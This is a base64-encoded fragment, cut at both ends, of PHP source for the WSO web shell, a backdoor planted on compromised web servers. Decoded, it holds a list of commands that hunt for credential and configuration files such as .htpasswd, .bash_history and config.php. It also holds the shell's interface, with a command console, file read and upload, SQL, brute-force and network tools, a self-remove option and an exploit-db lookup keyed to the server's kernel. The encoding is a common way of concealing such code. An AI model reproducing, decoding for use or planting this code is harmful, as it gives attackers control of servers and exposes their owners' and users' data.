T4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLA0KICAJCSJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLA0KICAJCSJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwNCiAgCQkiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwNCiAgCQkiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsDQogIAkJImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsDQogIAkJImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsDQogIAkJImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwNCiAgCQkiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwNCiAgCQkiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KCQkiTG9jYXRlIiA9PiAiIiwNCiAgCQkibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsDQoJCSJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLA0KCQkibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLA0KCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwNCgkJImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAibG9jYXRlIG15LmNvbmYiLA0KCQkibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsDQoJCSJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwNCgkJImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwNCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLA0KCQkibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsDQoJCSJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLA0KCQkibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLA0KCQkibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsDQoJCSJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLA0KCQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwNCgkJImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsDQoJCSJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwNCgkJImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsDQoJCSJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsDQoJCSJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwNCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwNCgkJImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLA0KCQkibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiINCgkpOw0KDQpmdW5jdGlvbiB3c29IZWFkZXIoKSB7DQoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQ0KCQkkX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsNCglnbG9iYWwgJGNvbG9yOw0KCWVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPg0KPHN0eWxlPg0KYm9keXtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7Y29sb3I6I0ZGNjYwMDt9DQpib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNGRjY2MDA7IH0NCnRhYmxlLmluZm97IGNvbG9yOiNGRjY2MDA7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyB9DQpzcGFuLGgxLGF7IGNvbG9yOiAkY29sb3IgIWltcG9ydGFudDsgfQ0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQ0KaDF7IGJvcmRlci1sZWZ0OjVweCBzb2xpZCAkY29sb3I7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwO21hcmdpbjowcHg7IH0NCmRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzAwMDAwMDsgfQ0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0NCmE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0NCi5tbDF7IGJvcmRlcjoxcHggc29saWQgI0ZGNjYwMDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjMwMHB4OyB9DQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7IG1hcmdpbjowO2NvbG9yOiNGRjY2MDA7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwO2JvcmRlcjoxcHggc29saWQgJGNvbG9yOyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb3VyaWVyIE5ldyc7IH0NCmZvcm17IG1hcmdpbjowcHg7IH0NCiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0NCi50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0NCi5tYWluIHRoe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7O30NCi5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzAwMDAwMH0NCi5sMXtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDB9DQoubDJ7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwfQ0KcHJle2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30NCjwvc3R5bGU+DQo8c2NyaXB0Pg0KICAgIHZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdmFyIGFfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2EnXSkgLiInDQogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOw0KICAgIHZhciBwMV8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AxJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDJfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMiddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBkID0gZG9jdW1lbnQ7DQoJZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87DQoJCWlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMudmFsdWU9Y187DQoJCWlmKHAxIT1udWxsKWQubWYucDEudmFsdWU9cDE7ZWxzZSBkLm1mLnAxLnZhbHVlPXAxXzsNCgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOw0KCQlpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1ZT1wM187DQoJCWlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87DQoJfQ0KCWZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJZC5tZi5zdWJtaXQoKTsNCgl9DQoJZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KCQl2YXIgcGFyYW1zID0gJ2FqYXg9dHJ1ZSc7DQoJCWZvcihpPTA7aTxkLm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlwYXJhbXMgKz0gJyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOw0KCQlzcignIiAuIGFkZHNsYXNoZXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcGFyYW1zKTsNCgl9DQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsNCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7DQoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOw0KCX0NCjwvc2NyaXB0Pg0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7dG9wOjA7bGVmdDowOyc+DQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4NCjwvZm9ybT4iOw0KCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7DQoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7DQoJJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsNCgkkZXhwbGluayA9ICdodHRwOi8vZXhwbG9pdC1kYi5jb20vc2VhcmNoLz9hY3Rpb249c2VhcmNoJmZpbHRlcl9kZXNjcmlwdGlvbj0nOw0KCWlmKHN0cnBvcygnTGludXgnLCAka2VybmVsKSAhPT0gZmFsc2UpDQoJCSRleHBsaW5rIC49IHVybGVuY29kZSgnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2KSk7DQoJZWxzZQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpKTsNCglpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsNCgkJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOw0KCQkkdWlkID0gQGdldG15dWlkKCk7DQoJCSRnaWQgPSBAZ2V0bXlnaWQoKTsNCgkJJGdyb3VwID0gIj8iOw0KCX0gZWxzZSB7DQoJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsNCgkJJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOw0KCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsNCgkJJHVpZCA9ICR1aWRbJ3VpZCddOw0KCQkkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQoJCSRnaWQgPSAkZ2lkWydnaWQnXTsNCgl9DQoNCgkkY3dkX2xpbmtzID0gJyc7DQoJJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jb3VudCgkcGF0aCk7DQoJZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsNCgkJJGN3ZF9saW5rcyAuPSAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOw0KCQlmb3IoJGo9MDsgJGo8PSRpOyAkaisrKQ0KCQkJJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOw0KCQkkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7DQoJfQ0KDQoJJGNoYXJzZXRzID0gYXJyYXkoJ1VURi04JywgJ1dpbmRvd3MtMTI1MScsICdLT0k4LVInLCAnS09JOC1VJywgJ2NwODY2Jyk7DQoJJG9wdF9jaGFyc2V0cyA9ICcnOw0KCWZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQ0KCQkkb3B0X2NoYXJzZXRzIC49ICc8b3B0aW9uIHZhbHVlPSInLiRpdGVtLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0kaXRlbT8nc2VsZWN0ZWQnOicnKS4nPicuJGl0ZW0uJzwvb3B0aW9uPic7DQoNCgkkbSA9IGFycmF5KCdTZWMuIGlOZjAnPT4nU2VjSW5mbycsJ2ZpTGVTJz0+J0ZpbGVzTWFuJywnYzBuc09MZSc9PidDb25zb2xlJywnc1FMJz0+J1NxbCcsJ3BIcCc9PidwaHAnLCdzVHJpTmdUMDBMcyc9PidTdHJpbmdUb29scycsJ2JSVVRlZjByY0UnPT4nQnJ1dGVmb3InLCduRXR3MHJLJz0+J05ldHdvcmsnKTsNCglpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkNCgkJJG1bJ0wwZ29VdCddID0gJ0xvZ291dCc7DQoJJG1bJ3NFTEYgckVtMHZFJ10gPSAnU2VsZlJlbW92ZSc7DQoJJG1lbnUgPSAnJzsNCglmb3JlYWNoKCRtIGFzICRrID0+ICR2KQ0KCQkkbWVudSAuPSAnPHRoIHdpZHRoPSInLihpbnQpKDEwMC9jb3VudCgkbSkpLiclIj5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPiBdPC90aD4nOw0KDQoJJGRyaXZlcyA9ICIiOw0KCWlmKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7DQoJCWZvcmVhY2gocmFuZ2UoJ2MnLCd6JykgYXMgJGRyaXZlKQ0KCQlpZihpc19kaXIoJGRyaXZlLic6XFwnKSkNCgkJCSRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsNCgl9DQoJZWNobyAnPHRhYmxlIGNsYXNzPWluZm8gY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPjx0ZCB3aWR0aD0xPjxzcGFuPnVOQW1FOjxicj5Vc0VyOjxicj5wSHA6PGJyPmhERDo8YnI+Y1dkOicgLiAoJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/Jzxicj5Ecml2ZXM6JzonJykgLiAnPC9zcGFuPjwvdGQ+Jw0KICAgICAgIC4gJzx0ZD48bm9icj4nIC4gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKSAuICcgPGEgaHJlZj0iJyAuICRleHBsaW5rIC4gJyIgdGFyZ2V0PV9ibGFuaz5bekVnQEhvVG1BaUwuQ29NXTwvYT48L25vYnI+PGJyPicgLiAkdWlkIC4gJyAoICcgLiAkdXNlciAuICcgKSA8c3Bhbj5Hcm91cDo8L3NwYW4+ICcgLiAkZ2lkIC4gJyAoICcgLiAkZ3JvdXAgLiAnICk8YnI+JyAuIEBwaHB2ZXJzaW9uKCkgLiAnIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcgLiAoJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9Z3JlZW4+PGI+T0ZGPC9iPjwvZm9udD4nKQ0KICAgICAgIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcgLiBkYXRlKCdZLW0tZCBIOmk6cycpIC4gJzxicj4nIC4gd3NvVmlld1NpemUoJHRvdGFsU3BhY2UpIC4gJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJyAuIHdzb1ZpZXdTaXplKCRmcmVlU3BhY2UpIC4gJyAoJy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclKTxicj4nIC4gJGN3ZF9saW5rcyAuICcgJy4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48YnI+JyAuICRkcml2ZXMgLiAnPC90ZD4nDQogICAgICAgLiAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5zRXJ2RXIgaVA6PC9zcGFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Bhbj5tWSBpUDo8L3NwYW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOw0KfQ0KDQpmdW5jdGlvbiB3c29Gb290ZXIoKSB7DQoJJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmb250IGNvbG9yPSdncmVlbic+KFdyaXRlYWJsZSk8L2ZvbnQ+IjoiIDxmb250IGNvbG9yPXJlZD4oTm90IHdyaXRhYmxlKTwvZm9udD4iOw0KICAgIGVjaG8gIg0KPC9kaXY+DQo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSAgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzMzMzsnPg0KCTx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuPmNIYU5nRSBkaVJ+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5yRUFkIGZpTEV+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPm1Ba0UgZGlSfjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ21rZmlsZScpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5tQWtFIGZpTEV+PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPmVYZUN1VGV+Izwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+DQoJCTxzcGFuPnVQTDBBZCBmaUxFfjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PGJyICA+PC90ZD4NCgk8L3RyPjwvdGFibGU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSkgew0KICAgIGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsNCiAgICBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkge3JldHVybiBmYWxzZTt9IH0NCg0KZnVuY3Rpb24gd3NvRXgoJGluKSB7DQoJJG91dCA9ICcnOw0KCWlmIChmdW5j